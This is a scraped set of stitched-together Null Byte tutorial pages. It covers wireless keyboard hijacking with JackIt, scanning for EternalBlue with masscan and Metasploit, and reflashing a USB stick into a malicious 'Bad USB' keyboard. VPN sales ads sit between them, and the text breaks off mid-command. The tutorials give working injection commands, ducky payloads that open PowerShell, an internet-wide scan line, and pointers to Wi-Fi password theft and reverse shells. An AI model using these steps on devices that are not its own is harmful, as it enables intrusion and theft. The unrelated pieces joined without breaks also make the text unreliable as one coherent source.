pyusb-1.0.2: Successfully uninstalled pyusb-1.0.2 Found existing installation: six 1.12.0 Uninstalling six-1.12.0: Successfully uninstalled six-1.12.0 Running setup.py develop for JackIt Successfully installed JackIt pyusb-1.0.0 six-1.10.0 tabulate-0.7.5Step 4: Attack Wireless Keyboards & MiceScan the surrounding area for vulnerable devices by simply typingjackitinto any terminal.~$ jackit ____. __ .___ __ | |____ ____ | | _| |/ |_ | \__ \ _/ ___\| |/ / \ __\ /\__| |/ __ \\ \___| <| || | \________(____ /\___ >__|_ \___||__| \/ \/ \/ JackIt Version 1.00 Created by phikshun, infamy [!] You must supply a ducky script using --script <filename> [!] Attacks are disabled. [+] Starting scan... [+] Scanning every 5s CTRL-C when ready. KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET ----- -------------- ------------------------ ------- ----------- ------------ ----------------------------- 1 C7:D4:21:98:07 74 3 0:00:07 ago Logitech HID 00:C2:00:00:03:10:00:00:00:2BJackIt will continuously scan the area for wireless mice and keyboards. A vulnerable device will identify its address (serial number), channel, and type in the terminal. This information can be used for a targeted attack. For example, the below USB Rubber Ducky payload can be used to open arunwindow and inject keystrokes into the target computer.GUI r DELAY 1000 STRING powershell <payload here> ENTERTo use USB Rubber Ducky script with JackIt, use the following command.~$ jackit --reset --address C7:D4:21:98:07 --vendor Logitech --script /path/to/ducky/script.txtPressCtrl+cto stop scanning. JackIt will ask which address to inject the keystrokes. This is a targeted attack, so only one serial number will appear in the scan. Press1, then pressEnter.[+] Sniffing for C7:D4:21:98:07 every 5s CTRL-C when ready. KEY ADDRESS CHANNELS COUNT SEEN TYPE PACKET ----- -------------- ---------- ------- ----------- ------------ ----------------------------- 1 C7:D4:21:98:07 2 1 0:00:10 ago Logitech HID 00:C2:00:00:00:00:00:00:00:00 ^C [+] Select target keys (1-1) separated by commas, or 'all': [all]: 1 [+] Ping success on channel 65 [+] Sending attack to C7:D4:21:98:07 [Logitech HID] on channel 65 [+] All attacks completedWhen the keystrokes are injected, the device will perform the following commands.The Ducky Script will open the run window and type some arbitrary text. More complex PowerShell attacks may includeWi-Fi password exfiltration,live streaming the Windows 10 desktop, andPowercat reverse shellswithpayloads hosted on Microsoft servers.Final ThoughtsThere are still so many vulnerable mice and keyboards in the wild. Since Marc and Bastille released theMouseJack white paperin 2016, some vendors haveissued firmware updatesfor products not utilizing one-time programmable memory (PROM). Still, most vulnerable USB dongles can't be patched due to hardware limitations. Even if they are patched, such as with some Logitech devices that areupdated manually, they canstill bevulnerableto attacks. Other vendors have pushed firmware updates going forward, but that doesn't mean those devices are safe, leaving an unknown number of vulnerable products still in use worldwide.Thanks for reading! If you have any questions, you can leave a comment here or message me on Twitter@tokyoneon_.Don't Miss:Wireless Mice & Keyboards Affected by MouseJack That Have & Haven't Been UpdatedFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and GIF by tokyoneon/Null ByteRelatedSecurity Alert:Your Wireless Mouse or Keyboard Can Be HackedHow To:Load & Use Keystroke Injection Payloads on the USB Rubber DuckyHacking Windows 10:How to Capture Keystrokes & Passwords RemotelyHow To:Exclusive Keyboard Themes for the LG G3How To:Save Time Typing Your Email Address Out Using a Keyboard Shortcut on Your Galaxy S3Hack Like a Pro:How to Remotely Install a Keylogger onto Your Girlfriend's ComputerHow To:Get the LG G3's Smart Keyboard on Your Galaxy Note 3News:Make Your Smart Home Smarter with a Truly Universal RemoteHow To:Use the keyboard on the Apple iPhone 3GHow To:Use Your Smartphone as a Keyboard for Your Smart TVHow To:9 Ways Your iPhone Can Help You Be More Productive When Working from HomeHacking Gear:10 Essential Gadgets Every Hacker Should TryHow To:Enable HomeKit Secure Video on Your Logitech Circle 2 CamerasHow To:Hack a USB keyboard into a Google Reader pedalHow To:Hook Web Browsers with MITMf and BeEFHow To:Add, Switch, Reorder & Delete Keyboards on Your iPhoneHacking Windows 10:How to Dump NTLM Hashes & Crack Windows PasswordsHow To:Build APRS on the cheapHow To:Automate Hacking on the Raspberry Pi with the USB Rubber DuckyHow To:Speed up a Logitech Harmony remote controlHow To:Defend from Keyloggers in Firefox with Keystroke EncryptionSelf-Portrait Challenge:Phil... Just PhilNews:Amazing Tattoo Art Revealed Through Stop-MotionNews:Reading Keyboard Input in 0x10c's DCPU-16 AssemblyNews:The SCRABBLE KeyboardHow To:Make Your Own USB Keylogger HardwareNews:Welcome to Edit on a DimeHow To:A Guide to Steganography, Part 1: How to Hide Secret Messages in ImagesHow Null Byte Injections Work:A History of Our NamesakeNews:Rock Band 3 unveiled! (Keyboard!)News:Piano in Next Rock Band 3/GreendayAntibubbles in Microgravity:NASA Astronaut Experiments with Centrifugal Force in Space
How to Discover Computers Vulnerable to EternalBlue & EternalRomance Zero-Days « Null Byte :: WonderHowTo
The public leaks of NSA tools and information have led to the release of previously secretzero-day exploitssuch as EternalBlue, which was used in the notoriousWannaCryransomware attack. Despite multiple patches being released, many users have failed to update their systems, so many devices are still vulnerable to these now-public attacks.EternalBlue (CVE-2017-0144) and EternalRomance (CVE-2017-0145) originally came to light following theShadow Brokers' leaks of NSA compromised tools. These exploits targeted errors in Microsoft's Server Message Block (SMB) protocol implementation.These vulnerabilities are especially valuable to attackers as a maliciously crafted packet allows for remote code execution, which could carry malware payloads such as ransomware or a remote access toolkit. These exploits have already been used to distribute ransomware such as WannaCry,Petya/NotPetya, andBad Rabbit.Don't Miss:How to Use the Shodan API with Python to Automate Scans for Vulnerable DevicesA WannaCry decryption window displayed on Windows.Image by GReAT/SecurelistWhile most users have updated by now, and many of the internet facing devices vulnerable to these exploits have already been attacked, there are many devices on local networks not directly exposed to the internet that may still be at risk. Any infected device joining the network can spread the infection to vulnerable devices on the same network, so being able to scan a network or IP range for these vulnerabilities allows one to ensure that their own internal network is currently protected against these attacks.In this guide, we'll be usingEternal Scannerto assist in automating the process of scanning for vulnerable devices. Additionally, this exercise will help you gain insight into the methodology of how a hacker seeks out and attacks vulnerable devices.Step 1: Installing RequirementsEternal Scanner utilizes a number of tools in order to scan for vulnerable devices.Masscanis used to scan for devices within an IP range, and theMetasploit Frameworkis used to check for vulnerabilities. In addition,Wgetis used to update the tool itself. A number of Python modules are also required to detect additional vulnerabilities. To install the prerequisites on a Debian-based system such as Kali or Ubuntu, run the command below in a command line window.apt-get install masscan metasploit-framework wget python-pipIf the Python modules are available in your system repositories, they can be installed by running the command below.sudo apt-get install python-crypto python-impacket python-pyasn1-modulesIf the modules are not available in your system repositories, they can also be installed usingpip.pip install crypto impacket pyasn1-modulesWith the requirements installed, we can now download Eternal Scanner from GitHub.git clonehttps://github.com/peterpt/eternal_scannerNow, Eternal Scanner is ready to install and run.Step 2: Using Eternal ScannerTo install Eternal Scanner, first change directory into the Git cloned directory usingcd.cd eternal_scannerOnce in the directory, Eternal Scanner can be run using the following command../escanOn the first run of the script, the tool will automatically be installed and can now be run by simply enteringescan. To continue to use the tool upon the first run, simply press theEnterkey.From here, the Eternal Scanner splash screen should open.In order to scan your local network, enter the first three octets of your local network IP followed by the desired range. To scan every address within the subnet, a string such as1/24could be used. If you are uncertain of your subnet IP format, you can runnetstat-rnin a new terminal window and look at theGatewayIP address shown.This IP will most likely be something like "192.168.0.1" or "192.168.1.1." In the example above, the first three octets returned by netstat are "192.168.0" so192.168.0.0/24was used as the input for Eternal Scanner, as shown below.If all of the systems on your local network are updated, you most likely won't receive vulnerable targets, which is most likely a good thing. If this were to be run against a larger IP ranger on the internet, something which touched more of the 4,294,967,296 theoretically possible IP address, more results would much more likely be found, and these results could still be very valuable to an attacker, even if the devices had already been attacked.Don't Miss:How to Find Vulnerable Targets Using Shodan —The World's Most Dangerous Search EngineAs the shell script itself makes a number of direct calls to the programs which were installed as prerequisites, we can also replicate a similar process manually by directly making similar requests to these same tools, including Masscan and the Metasploit Framework.Step 3: Making Masscan Requests DirectlyTo examine the Masscan request, we can have a look at the shell script itself. To open it in nano, runnano escanfrom the folder which was cloned from Git. To specifically find the Masscan request, pressCtrl+Wand pressEnteruntil you reach the Masscan request string.The highlighted line in the image above applies several variables defined in the script.masscan "$ip" -p "$port" --rate "$rt" --exclude 255.255.255.255 --output-filename "$mass"Some variables, such as "$port," are defined in the beginning of the script, as shown below, where the variable "port" is set to "455."We can also manually fill in this same string directly using our own parameters. The same IP address or range used earlier, such as192.168.0.0/24can replace "$ip." The port, or ports, to scan, such as455can replace "$port" directly. The rate, or "$rt," can be replaced with500. Finally, "$mass" can be replaced with the desired filename of the output of Masscan. This output will be formatted as an XML file, so it may be useful to remove the--output-filenameparameter from the command. The complete string may appear similar to the one below.masscan 192.168.0.0/24 -p 455 --rate 500 --exclude 255.255.255.255 --output-filename out.txtThe--excludeparameter exists as a preventative measure in the original script in order to establish a confirmation if the range is deemed too large by Masscan. This is not required for a small-range scan, but may be useful for larger sets.If no devices have an open port 455, then this scan will not return any results. To test more common ports, we can use a much simpler string, such as the one below.masscan 192.168.0.0/24 -p80,23This scan also tests all IP addresses within the192.168.0subnet and specifically tests for port80, used for HTTP, and port23, used for Telnet.As shown in the results of this scan above, an open port 23 was discovered at 192.168.0.100, as well as an open port 80 at 192.168.0.1. While this might not necessarily be consistent across every network, if this scan was performed across a wider IP range on the internet, there would surely be a tremendous amount of results.A string such as the one below will attempt the same scan as the one shown above, but across the entire internet rather than a single subnet. This will, on most devices and internet connections, take a very long time to complete.masscan 0.0.0.0/0 -p80,23 --exclude 255.255.255.255We can compare the results of Masscan to the output of a similar, narrower-range network scanner,Nmap. This tool is available in most Linux repositories, and on Debian-based systems, it can be installed using the command below.sudo apt-get install nmapRunning a scan such as the one defined in the string below will run a TCP SYN scan across the local subnet, and return practically every common port which may be open on any device connected to the network.sudo nmap -sS 192.168.0.0/24Example results for such a scan are shown below. This scan result provides much more detail than Masscan's port-specific report, but is far less effective at wider network ranges, as it was not designed for scanning the entire internet.With an understanding of how the script utilizes Masscan to discover potentially vulnerable IP addresses, we can also examine how the actual test process works.Step 4: Using Metasploit to Test EternalBlue VulnerabilityTo see how the script calls the Metasploit Framework, we can once again open the file directly. To do this using nano, runnano escanfrom the folder Eternal Scanner folder. To search for the msfconsole request, pressCtrl+W, typemsfconsole, and pressEnteruntil you reach the code shown in the image below.Each of the "echo" commands which end in ">> "$defdir/msf.rc"" are commands which are sent to the Metasploit Framework console. While these commands include a number of variables set by the script, they can also be manually executed by us. To launch the Metasploit console, simply entermsfconsoleat a command line.Launching Metasploit may initially print a number of database connection errors. While these will not necessarily limit the function required for this tutorial, using the database will speed usage of Metasploit when searching for certain modules. If you have already configured the database, it can be launched withservice start postgresqlorsystemctl start postgresql. Once Metasploit is running, we can proceed with using the commands as defined in the scanning script. Entering the command below into the Metasploit console will load the module which can test for EternalBlue vulnerability.use auxiliary/scanner/smb/smb_ms17_010Once this module is loaded, we can view more information about it by typinginfoand pressingEnter.This shows that it is indeed the desired detection module, checking for the "SMB RCE" vulnerability, or EternalBlue. To show the configuration options for the module, we can enteroptionsand pressEnter.This shows a number of the configuration parameters which were automatically set within the Eternal Scanner script, such as "RHOSTS," "RPORT," and "THREADS." These configuration parameters can also be manually set by us. Some of them may already have defined values, but the most important, the target address, has most likely not been set. To set this parameter, we can use thesetcommand, then the name of the setting, such asRHOSTS, followed by the IP which one wishes to test. This may be one of the same IP addresses discovered earlier by Masscan.set RHOSTS 192.168.0.100After this value is set, we can ensure the changes were written by runningoptionsagain.After all desired options are set, the vulnerability can be tested by simply typingexploitand pressingEnter.If the device is not vulnerable to the exploit, the module will complete its execution but the but the scanner will not return any results. This same methodology can be applied to many additional Metasploit modules. Additionally, the method in which Eternal Scanner called the Metasploit Framework to test these vulnerabilities could be applied for additional modules as well.Defending Against Scanning-Based AttacksThe first line of defense is to minimize the number of vulnerable systems that could be discovered by maintaining updated systems. Scanning is a double-edged sword, and limiting your exposure involves being aware of what sort of fingerprint and internet presence your devices have.This could involve checking the privacy and security settings for your devices, scanning for your own outgoing IP addresses on search engines such asShodan, or even using port scanners such as Nmap and Masscan, as detailed in this tutorial, to be better aware of what your network looks like to a hacker.Don't Miss:How to Find Vulnerable Webcams Across the Globe Using ShodanThe majority of automated attacks are derived from publicly released vulnerabilities, spurring a rush to find and exploit any unpatched devices by hackers. These vulnerabilities are rarely known to the public prior to a patch becoming available, so the best defense is good security settings with automatic updates enabled when possible.Scan Your Network to Be the First to Know About ProblemsWhile our guide focuses on how an attacker might use these tools, the same principals will apply to anyone trying to secure their network. Hackers using publicly released vulnerabilities need owners of the network to either fail to apply patches or be unaware there is an issue to be fixed in the first place, so you can take that power back by learning to scan your network. Discovering a serious vulnerability on your network first gives you the upper hand in responding to it, so learning to be aware is the first key to defending yourself.I hope that you enjoyed this tutorial on web scanning for vulnerabilities! If you have any questions about this tutorial, feel free to leave a comment or reach me on [email protected] Null Byte onTwitter,Google+, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andGoogle+Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo by Kody/ Null Byt; Screenshots by TAKHION/Null ByteRelatedHow To:Exploit EternalBlue on Windows Server with MetasploitHow To:Manually Exploit EternalBlue on Windows Server Using MS17-010 Python ExploitNews:The DEA Spent $575,000 of Your Tax Dollars on Zero-Day ExploitsNews:How Governments Around the World Are Undermining Citizens' Privacy & Security to Stockpile CyberweaponsHow To:Draw Zero No Louise of Zero No TsukaimaHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1How To:Locate & Exploit Devices Vulnerable to the Libssh Security FlawHow To:Discover & Attack Raspberry Pis Using Default Credentials with Rpi-hunterHow To:Set Up Network Implants with a Cheap SBC (Single-Board Computer)News:How Zero-Day Exploits Are Bought & SoldHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 2 (Configuration)How To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISNews:Chrysaor Malware Found on Android Devices—Here's What You Should Know & How to Protect YourselfHow To:Set Up Kali Linux on the New $10 Raspberry Pi Zero WNews:Huge iPhone Security Flaw Reveals One Big Benefit iOS Has Over AndroidHow To:Perform Network-Based Attacks with an SBC ImplantHow To:Use a computer for zero budget special effectsHow To:Perform a Pass-the-Hash Attack & Get System Access on WindowsHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How To:Use Zero-Width Characters to Hide Secret Messages in Text (& Even Reveal Leaks)News:Countdown to ZeroNews:Minecraft World's Weekly Workshop: Rebuilding the Antikythera MechanismHow To:Use Internet Explorer? Install the Latest Version to Avoid the Newest Zero-Day ExploitHow To:log on Windows 7 with username & passwordNews:Good Things Do Come in Small Packages: Flight Sim Game 'A New Zero' Just 1MB in SizeMortal Kombat:Legacy: Ep. 8: Scorpion and Sub Zero (Part 2)Mortal Kombat:Legacy: Ep. 7: Scorpion and Sub Zero (Part 1)How To:Don't Get Caught! How to Protect Your Hard Drives from Data ForensicsNews:News Clips - June 4Cool Bar Trick:How to Freeze Beer in 2 SecondsEkokook:The Kitchen of the FutureAnonymous Browsing in a Click:Add a Tor Toggle Button to ChromeHow To:Hackers Can Remote Wipe Your Samsung Smartphone—Find Out If Yours Is Vulnerable (And Fix It)News:The Escapist Red Dead ReviewNews:The Escapist Review of Alan WakeNews:Zero Punctuation Review of Monster Hunter Tri
Boost Your Security with a VPN & Private Email Service « Null Byte :: WonderHowTo
Your sensitive personal data should be strongly protected, and it's never morevulnerablethan when you are online. The internet connection is a prime avenue of exposure, and email is one of the least secure forms of communication. Fortunately, there is an easy solution to both of those problems.A virtual private network (VPN) will protect your internet connection, while a private email service will allow you to rest easy about what your messages contain. OurPremium Privacy Bundleoffers a one-year subscription to both, and you can get them for only $44.99, which is 60% off the normal price.ZenMate VPNuses top-level encryption to keep your passwords and other important data, such as banking information, safe. It allows you to browse safely even when you are on a public Wi-Fi connection by encrypting your traffic and hiding your IP address. Not even the government can track you. The service is straightforward to use, and since it includes a browser extension, you can activate it with just one click. There are servers inover 77 countries, so geo-restricted websites and services can be bypassed, such as Netflix.TheStartMail Private Email Serviceis GDPR-compliant and offers 10 gigabytes of storage with an unlimited number of alias email addresses that you can create on the fly. Best of all, it features one-click encryption, so it's effortless to use. It's also ad-free, so you never have to worry about your personal data being collected for tracking or advertising purposes.StartMail can be used with popular email programs such as Outlook, Apple Mail, and Thunderbird. There's nothing to download and no installation required. PCMag says, "Using a free webmail account can cost you in privacy. With the simple StartMail service, you can send encrypted mail to anyone."Take advantage of this deal to obtain strong protection for yourself and your data while you can get it at a huge discount. Buy the Premium Privacy Bundle today forjust $49.99, down from the original price of $113.Prices subject to change.Get the Deal:The Premium Privacy Bundle Ft. ZenMate VPN & StartMail for Just $44.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image viaDan Nelson/Unsplash, ZenMate, StartMailRelatedHow To:This Is by Far the Easiest Way to Set Up a Free VPN on Your iPhoneHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPAndroid Security 101:How to Secure Your Communications & MessagesHow To:Fix VPN Issues on iPhone to Ensure a More Private Internet ExperienceHow To:The Best 'No-Logs' VPN Apps for Safe & Private Mobile BrowsingHow To:Get VPN ConnectionHow To:Safely Browse the Web with Opera's Free VPNHow To:4 Apps to Help Keep Your Android Device SecureHow To:4 Apps to Help Improve Security on Your iPhone or iPadNews:What REALLY Happened with the Juniper Networks Hack?How To:Make an Anonymous Facebook Profile to Keep Your Personal Data PrivateHow To:Your Phone's Biggest Security Weakness Is Its Data Connection — Here's How to Lock It DownHow To:Stay Anonymous on Your Nexus 7How To:Tutanota for Android, iOS, & Web Keeps Your Emails Private with End-to-End EncryptionNews:Netflix to Block VPN & Proxy Users from Streaming Content in Other TerritoriesHow To:5 Ways to Keep Google from Collecting Data on Your Android PhoneHow To:The Best-Selling VPN Is Now on SaleNews:Here's Why You Should Be Using Private DNS on Your PhoneHow To:Surf the Web Without Restrictions for Free Using Opera's Hidden VPNHow To:The 4 Best Phones for Privacy & Security in 2020The Hacks of Mr. Robot:How to Send Ultra-Secure EmailsHow To:Chain VPNs for Complete AnonymityMastering Security, Part 2:How to Create a Home VPN TunnelHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosNews:Massive Leak! Wikileaks publishes Stratfor emails.News:Boost Mobile. Is It Hot or NotRichard Stallman:CISPA neally abolishes people’s right not to be unreasonablyMastering Security, Part 1:How to Manage and Create Strong PasswordsDeal Alert:VPN Unlimited Is Only $39 Right Now for a Lifetime LicenseHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxDon't Get Doxed:5 Steps to Protecting Your Private Information on the WebHow To:Create a Fake Online Identity for Website Registrations in Just One ClickNews:Understanding Modern Cryptography: Public KeysNews:How-To-Generate Thousands Of Valid Email IDs
The Best-Selling VPN Is Now on Sale « Null Byte :: WonderHowTo
The ability to browse the web in coffee shops, libraries, airports, and practically anywhere else you can imagine is more than convenient, but convenience has risks. Using public Wi-Fi allows others tospy on you easily. Even your owninternet service providercan see every website you've ever visited. Don't fall into the trap of protecting your identity, data, anddevicesafter it's too late.A Virtual Private Network (VPN) provides safety and security online, and the leading VPN is also one of the most reliable and trusted services —Private Internet Access. What's a VPN? Watch this, and you'll understand in less than a minute:Private Internet Access is based in the U.S. with over a decade of expertise and is trusted by CBS News, Forbes, Lifehacker, and Wired.Setting up your secure account is instant, and the service is easy to use and compatible with all popular desktop and mobile operating systems. Immediately secure your data and access restricted content from anywhere in the world. When you use their VPN service, your IP address is hidden so you can browse anonymously and in total privacy. It will create an encrypted VPN tunnel for you to access so no one can spy on you. Benefit from direct professional support and unlimited bandwidth for 10 devices simultaneously.Private Internet Access pioneered true privacy and anonymity online with its strict no-logs policy. For those concerned about potential spyware on their devices, you'll be able to block ads, trackers, and malware. Their new MACE feature returns IP addresses of unwanted domain names as an address that's not routable on the public internet.Access your favorite sites, services, and content wherever you are in the world. Backed by multiple gateways across the globe with access in over 78 countries (see the list of servers here), you'll also benefit from IP cloaking, which unblocks censorship and geographic restrictions when you're traveling.Private Internet Access out-performs and out-features the competition, according to PCMag. You don't have to take their word for it. With over 65,000 reviews, this VPN gets 4.7 out of five stars on the App Store. Take advantage of aPrivate Internet Access VPN Two-year Subscription, risk-free with a 30-day money-back guarantee, for only $69.95 — 72 percent off the retail price of $258.Prices subject to change.Don't Miss This Deal:Private Internet Access VPN Two-year Subscription for $69.95Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedNews:Dining, Travel & … Smartphones? Groupon Now Offers Discounts on Unlocked Galaxy S8How To:Browse Privately & Securely with This VPNNews:We May Finally Know How Many HoloLens Devices Microsoft Sold, & It's a Revealing Peek at the Future of ARHow To:This Is by Far the Easiest Way to Set Up a Free VPN on Your iPhoneHow To:Boost Internet Speeds & Hide Your Browsing History from Your ISPHow To:Google Just Slashed Its New Nexus Phones to the Cheapest Price We've Ever SeenHow To:Fix VPN Issues on iPhone to Ensure a More Private Internet ExperienceHow To:The Best 'No-Logs' VPN Apps for Safe & Private Mobile BrowsingHow To:Your Phone's Biggest Security Weakness Is Its Data Connection — Here's How to Lock It DownNews:Bitcoin Cash Is Now Available on CoinbaseHow To:Browse the Internet Safely for 10 Years with This VPNHow To:Safely Browse the Web with Opera's Free VPNNews:In a Rare Moment, Pixel's Sales Figures Are RevealedHow To:Get VPN ConnectionNews:Google's Pixel Sales Have Already Surpassed HTC, LG & MotorolaHow To:Get Michael Jackson's Thriller (& Rare Bonus Track) For Free from Google for a Limited TimeLiveOps:High Paying Home Call OperatorNews:April NPD Video Game SalesNews:May 2010 NPD Sales ResultsNews:It's Not an Interview, It's a Sales PitchHow To:FarmVille Crafting Building Mastery, Crafting Co Op, and Recipe GuideNews:Top 10 Christmas Gift Ideas for the SCRABBLE EnthusiastHow To:Awwwww look Iwata, Sony Sent A Cake! How Nice.How To:Chain VPNs for Complete AnonymityNews:The Brilliant Work of Zeboyd Games Highlights Some Hideous Flaws in XBLIGNews:May feels like NovemberNews:Seize the Lightning! Carpe Fulgur Imports Japanese Indie Games to the U.S.News:The Best 6 Places to Buy Used Camera Equipment OnlineNews:Indie Game Festival PAX Prime Sold OutMastering Security, Part 2:How to Create a Home VPN TunnelNews:SaleNews:Sales Stats Show that Gamers Prefer Downloads Over DiscsBrickLink:Your MEGA Resource For LEGO PartsHow To:Protect Your Browsing with This 10-Year VPN SubscriptionNews:Huawei Gains Ground with High Sales of Mate 9How To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxSubmit Your Best Shot:10 Inspiring 4th of July Fireworks PhotosNews:Comparison of Special Delivery and Mystery Gift Item Sale ValuesHow To:Sell items with eBay BlackthorneNews:Quick and Dirty Tips to Venues
Social Engineering « Null Byte :: WonderHowTo
No content found.
How to Make Your Own Bad USB « Null Byte :: WonderHowTo
Hello, everyone!Many of you don't even know about my existence here on Null Byte, so I thought of contributing something rather interesting. Recently,someone askedhow to make your own "Bad USB," and I promised to make a how-to on this topic. In addition, it would be nice to have something related on our WonderHowTo world. So here it is!IntroductionMost common USB flash drives are exploitable due to the "BadUSB" vulnerability. This allows us hackers to reprogram the microcontroller in them to act as a human interface device (HID), e.g., a keyboard, and perform custom keystrokes on our target machine. This scenario is often called an "HID Payload Attack," since you have to hand over your script to the Bad USB for the execution (more on that later). Even though almost every USB flash drive is exploitable, the only released reprogramming method is for "Phison" microcontrollers.In this tutorial, we are going to determine the microcontroller of your USB flash drive, compile the source code published in GitHub for the tools we need, and move over to building a custom firmware with an embedded HID payload that will turn our harmless USB flash drive into a malicious keyboard designed to help us compromise our victim machine. The process is kind of like compiling and flashing ROMs to your Android device.RequirementsWe need to work on Windows.Also, we need to have an USB 3.0 flash drive with a Phison 2303 (2251-03) microcontroller. You can find a list of known supported devices onGitHub. I will use an8 GB Toshiba TransMemory-MX USB 3.0drive in this tutorial.Sometimes owning a confirmed device doesn't mean the PS2251-03 is actually being used, as manufacturers seem to use different controllers even within same device models.Make sure you can open the case of your USB device without damaging it. One of my friends had to literally saw up his USB device because he was too hasty. Please read the "Setting Our Device into "Boot Mode" Manually" section at the end of this article for help on opening it.Please continue at your own risk; there is no guarantee that your device will work, even though there shouldn't be any issues.Determining the Microcontroller of Our USB Flash DriveBefore starting, we want to make sure our USB uses the supported controller. We can use a program calledFlash Drive Information Extractorto gather the required information about our USB.It doesn't require any installation. Just open the tool and hit the "Get USB Flash Drive Information" button while you have your USB inserted into your PC. If your drive uses the Phison 2303 (2251-03) controller, the output should look similar to this:However, if your USB device has a different one, it is most likely that you cannot reprogram it to an HID device with this exploit. Make sure to checkthe known supported devicesin order to get one that will work.Setting Up the Build-EnvironmentThe developer of the code recommends us to use any version ofMicrosoft Visual Studio 2012 or higherto compile the tools andSDCCfor building custom firmware. Visual Studio will probably take multiple hours to download and cannot be paused, so make sure you have enough time available. It also claims multiple gigabytes on your primary drive, about 10 GB on my SSD, which is annoying.Downloading & Compiling the Source CodeIn order to modify our supported USB drive, we need to build the tools which interact with it. The source code ispublished on GitHub by Adam Caudill. Actually, Visual Studio comes with an neat feature that lets us clone the whole repository. You can even interact with VS from the GitHub site:After cloning and opening the repostitory. You are most likely to see three solutions.DriveComEmbedPayloadInjectorWe will need DriveCom and EmbedPayload only. If opened, you can compile withCtrl + Shift + BorMenu bar - Build - Build Solution.If you cannot clone the repository through Visual Studio,download the .zip file from GitHuband open the .sln files in each folder of the solutions. DriveCom and EmbedPayload should be in the...\Psychson\toolsdirectory now:E:\Documents\Bad_USB\Psychson\tools.Obtaining a Burner ImageA "burner image" is required for dumping and flashing firmware on your drive. These are typically named using the convention "BNxxVyyyz.BIN". Burner images for Phison controllerscan be found here. Even though the site is only available in Russian, you will find the download link if you scan the site for "BN03." BN implies burner image, and 03 corresponds to PS2251-03. I extracted the files inE:\Documents\BadUSB\Burner_Image\.Every burner image should do the job, but you can use the newest version which is indicated by the "Vyyy" part of the name.Dowload Duck EncoderThe "Duck Encoder" is a Java-based cross-platform tool which converts scripts into HID payloads. It is based upon the Bad-USB called "Rubber Ducky" by Hak5. You candownload it here. (Do not forget to installJava.) I saved it atE:\Documents\Bad_USB\DuckEncoder\.Creating Custom FirmwareAt this point, all our preparations are done and we can continue using the tools. In this step, we simply have to go to our...\Psychson\firmware\directory and runbuild.bat. If everything goes right, you will see a new folder with many different files inside.Thefw.binfile is the file we will use in the following payload.Writing a ScriptYou may ask yourself in which language we are going to write our script. Since the Duck Encoder is based upon "Rubber Ducky," we will use "Duckyscript" as the language. The syntax is rather easy. More detailed instructionscan be found here.We will go ahead and create a .txt file in our preferred directory(E:\Documents\Bad_USB\DuckEncoder\script.txt). I thought of showing you something more interesting than a "Hello World" script, so I made this one:As you may suppose, the Bad USB will "press"Windows + Rand cause windows to shut down immediately with this script. In addition, you can clearly see that I wrote "/" instead of "-". That's because our "keyboard" (Bad USB) has a U.S. layout and Windows is set to DEU in my country. Keep in mind that we have to change the Windows layout to U.S. and write the script the way we would do usually, or the way your victim's PC would write it. Don't be confused of the input.You can even use custom scripts and do some reverse engineeringhere.Converting It into an HID PayloadIt is time to start using the Windows terminal - cmd.java -jar "PATH to \duckencode.jar" -i "PATH to \script.txt"-o "\payload.bin Path"Example:java -jar E:\Documents\BadUSB\DuckEncoder\duckencode.jar -i E:\Documents\Bad_USB\DuckEncoder\script.txt -o E:\Documents\Bad_USB\DuckEncoder\inject.binWe won't get any output, but inject.bin should be created inE:\Documents\Bad_USB\DuckEncoder\, in my instance.Embed the Payload in the FirmwareNow we need to use the tools we built with Visual Studio. Obviously, EmbedPayload is to embed payloads. We simply have to execute it in cmd:"Path to EmbedPayload.exe" "PATH to payload" "PATH to the firmware we built"For me, it is:E:\Documents\BadUSB\Psychson\tools\EmbedPayload.exe E:\Documents\Bad_USB\DuckEncoder\inject.bin E:\Documents\Bad_USB\Psychson\firmware\bin\fw.binNote that fw.bin includes the payload now. You can also overwrite the firmware by executing build.bat again.Dumping the Current Firmware of the USB Flash DriveI strongly advise you to make a copy of the current firmware on your USB flash drive in case you want to restore it. For any action we want to take on our USB, we have to use DriveCom, which is in our "tools" folder."PATH to DriveCom.exe" /drive="Drive Letter of our USB" /action=DumpFirmware /burner="PATH to our burner image" 